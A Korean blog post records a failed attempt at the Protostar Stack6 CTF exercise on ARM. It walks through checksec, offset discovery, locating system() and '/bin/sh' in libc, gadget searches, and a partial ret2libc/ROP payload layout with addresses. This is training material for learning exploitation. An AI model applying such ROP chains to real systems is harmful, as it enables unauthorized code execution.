리버싱CTF/Protostar

Stack6 - Fail

우와해커 2020. 1. 4. 06:38

About
Stack6 looks at what happens when you have restrictions on the return address.

This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.

It is strongly suggested you experiment with multiple ways of getting your code to execute here.

This level is at /opt/protostar/bin/stack6

 

프로그램 실행시
pi@raspberrypi:~/Protostar $ ./stack6

input path please: 1234
got path 1234


이 문제의 목적은 소스코드를 확인해보면 알 수 있다. 

지역 변수 ret의 값이 0xbf000000이 되야한다.

15  ret = __builtin_return_address(0);
16
17  if((ret & 0xbf000000) == 0xbf000000) {
18    printf("bzzzt (%p)\n", ret);

이문제는 이전 문제와 달리 스택 실행 보호기법이 적용되어있다.
이를 우회하기 위해 rop, ret2libc 기법을 이용해야 한다.

Ret2libc와 rop는 간단히 말하자면 다른 라이브러리에서 
실행가능한 코드를 조합하여 원하는 명령을 실행하는 것이다.



1.GDB에서 NX비트 확인
- NX비트는 스택에 존재하는 명령어가 실행되지 않도록 보호하는 매커니즘이다.

gef> checksec
[+] checksec for '/home/pi/Protostar/stack6'
Canary            : No
NX                  : Yes
PIE                 : No
Fortify             : No
RelRO             : No



2. 리턴이 실행되는 위치 확인

gef> disassemble main
Dump of assembler code for function main:
=> 0x00010560 <+0>: push {r11, lr}
   0x00010564 <+4>: add r11, sp, #4
   0x00010568 <+8>: sub sp, sp, #8
   0x0001056c <+12>: str r0, [r11, #-8]
   0x00010570 <+16>: str r1, [r11, #-12]
   0x00010574 <+20>: bl 0x104d8 
   0x00010578 <+24>: mov r0, r3
   0x0001057c <+28>: sub sp, r11, #4
   0x00010580 <+32>: pop {r11, pc}

패턴이 들어간 것을 확인해야 되기 때문에 getpath 함수실행 및  main에필로그 전 단계인 main+24에 break point를 설정한다.
gef> b *main+24
gef> r

패턴 생성 후 입력
gef> pattern create 100
...
gef> r
gef> c
Continuing.
input path please: <패턴입력>....aaaab.........생략

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()

패턴을 통해 리턴(PC)위치 확인
$pc  : 0x61616174 ("taaa"?)

리턴의 위치(PC)는 77번쨰부터 오면 된다.
gef> pattern search $pc
[+] Searching '$pc'
[+] Found at offset 76 (little-endian search) likely
 

다음과 같이 스택을 통해 입력한 값을 확인할 수도 있다.
gef> x/16x $sp-12
0xbefff234: 0x61616173 0x61616174 0x61616175 0x61616176
0xbefff244: 0x61616177 0x61616178 0x61616179 0xb6fb1000
0xbefff254: 0xbefff3a4 0x00000001 0x00010560 0xb6ffe0c8


4. 이제 NX보호를 우회하기 위한 가젯을 libc코드에서 찾아야한다.

조건은 다음과 같다.
1. 각 가젯은 다음 가젯이 이어서 실행될 수 있도록 다음 가젯의 주소가 PC에 저장되야 한다.
2. Exploit을 위해 각 가젯들은 매개변수와 지역변수, 스택위치를 적절하게 조정해야 한다.
3. 시스템함수가 호출되기 위해 마지막 명령어는 브런치가 있는 가젯을 사용해야 한다.
4. 오로지 실행권한이 존재하는 libc영역(r-x)에 위치한 코드만 실행될 수 있다.
- 현재 스택은 실행권한이 없기 때문에(rw-) 스택에 위치한 코드는 실행되지 않는다.


5. 가젯을 찾아보자. 여러가지 방법이 있다.
- 수작업, objdump 사용하기
- ropper 이용하기
- 메타스플로잇 이용하기

난 현재 환경에서 ropper가 안되고 메타스플로잇도 없으므로 가젯을 수작업으로 찾을 것이다.
앞에 두 툴을 사용하면 원하는 가젯을 바로 찾을 수있다.


6. 바이너리 실행 후 vmmap을 통해 메모리 확인

vmmap이란?
-- Display a comprehensive layout of the virtual memory mapping. 
   If a filter argument, GEF will filter out the mapping whose pathname do not match that filte

gef> vmmap
Start      End        Offset     Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/Protostar/stack6
0x00020000 0x00021000 0x00000000 rw- /home/pi/Protostar/stack6
0xb6e74000 0xb6f9f000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so


libc-2.19.so에 실행권한(r-x)이 있으므로 이 라이브러리를 활용한다.
해당 라이브러리 범위 사이의 적당한 주소를 입력하여 명령어 출력으로 검색해본다.

gef> x/10i 0xb6f6f000
......
0xb6f6f4f0 <authunix_marshal+32>: pop {r3, pc}
......
0xb6f6a348 <__GI_clnt_broadcast+1396>: blx r3
0xb6f6a80c <__GI_xdr_callmsg+56>: add sp, sp, #8
0xb6f6f004 <authdes_marshal+220>: add r0, r5, #24


- 쉘을 실행하기 위한 구조는 다음과 같다.
System("/bin/sh")

- 이 페이로드를 만들기 위해 우리가 필요한 가젯들은 다음과 같다.
레지스터를 이용해 매개변수로 사용될 "/bin/sh"이 들어가있어야 하며
PC에서 system함수를 호출하기 위해 system()의 주소가 들어가 있어야한다.


스택에 입력될 순서  (PC와 SP가 이동하는 과정을 혼동하지 말자)

코드: POP { R3, PC}                    ;1.PC가 가리키는 주소 첫 오염,  이 명령어가 수행되면 R3에 가 pop되고 
함수주소: <system address>       ;2. 다음 밑에 가젯(MOV R0,SP)이 PC에 POP된다.
코드: MOV R0, SP; BLX R3        ; 3. SP는 /bin/sh 문자열 주소를 가리키고 있다. 이 코드가 실행되면 SP를 R0에 복사하고 
문자열:"/bin/sh"                            BLX 분기문을 실행하여 최종적으로 system("/bin/sh")이 호출된다.

또는

ldm sp, {r0, r1} ; 1. r0에 /bin/sh 문자열 주소가 들어갈 수 있도록 sp를 잘 조정한다. r1은 두번째 매개변수로 필요없다.
pop {lr}             ; 2. lr 레지스터에 의해 system()함수를 pop하여 분기문에서 실행하도록 한다.
bx lr                     3. system("/bin/sh") 형태로 실행되게 된다.


7. 원리를 이해했으면 페이로드를 하나씩 찾아보자.

- sysetm 함수 찾기 (실행가능한 라이브러리에 위치하므로 사용 가능하다. 0xb6e74000~0xb6f9f000)
gef> p system
$7 = {} 0xb6eadfac <__libc_system>

- /bin/sh 문자열 찾기, 버퍼에 직접 /bin/sh 입력 후 저장되는 위치를 찾아 사용해도 된다.
gef> grep /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/lib/arm-linux-gnueabihf/libc-2.19.so'(0xb6e74000-0xb6f9f000), permission=r-x
  0xb6f91b20 - 0xb6f91b27 ->  "/bin/sh"

- 가젯 찾기 수작업으로 까보는건 도저히 찾기 힘들어서, 툴을 사용했다..

  하지만 현재 환경(armv6 라이브러리 호환문제)에서는 둘다 잘 안되는건 마찬가지 였다..
-ROPgadget 
-roppepr     

자동툴 사용
$ ROPgadget --binary stack6 --offset 0xb6e74000
........
0xb6e84344 : pop {r3, pc}
0xb6e844c8 : blx r3
.....

 

수작업 검색 , 직접 해보니 단일 가젯이기 때문에 브런치와 pop pc밖에 쓸 수없다...

Exploit에 성공하기 위해서는 가젯 검색 툴을 사용하자.
gef> x/100i 0xb6f6b104
0xb6f6b11c <universal+348>: add r0, sp, #4

아래 주소들을 조합하여 쉘을 실행한다
-매개변수 셋팅:     0xb6e84344 ; pop {r3, pc}
-시스템 함수 리턴:  0xb6e844c8 ; blx r3
-시스템 함수    :  0xb6eadfac 
-/bin/sh 위치 :   0xb6f91b20
-첫 변수 r0 셋팅 :   r0 셋팅 후 분기할 수 있는 가젯 (이것을 못 찾아서 실패했다.)
cf) mov r0, sp+4; blx r3

 


8.페이로드 구성하기 
스택빠지는 방향---->>>
pop {r3, pc}                          |   <system address>    |   첫 변수 r0 셋팅 후 r3분기 가젯 |      영향 안주는 유효한 더미 값      |    "/bin/sh" 주소    | 
\x44\x43\xe8\xb6       \xac\xdf\xea\xb6                   못 찾음                           \x04\xb1\xf6\xb6        x20\x1b\xf9\xb6

 


   

armv6에서 파이썬 에러 뜨는게 너무 많아서 툴 활용을 못한다.

힘들다 힘들어 ㅡㅡ

 

답답하다..꼭 풀고가고 싶었는데, 답이 안보인다.

다른 arm 운영체제에서 해봐야하는걸로 마무리한다..

이렇게 64비트로 바로 넘어가는건가












   
   


 

 

 

'리버싱CTF > Protostar' 카테고리의 다른 글

Stack5 (Success)  (0) 2020.01.01
Stack5(Fail)  (0) 2020.01.01
Stack4  (0) 2020.01.01
Stack3  (0) 2020.01.01
Stack2  (0) 2020.01.01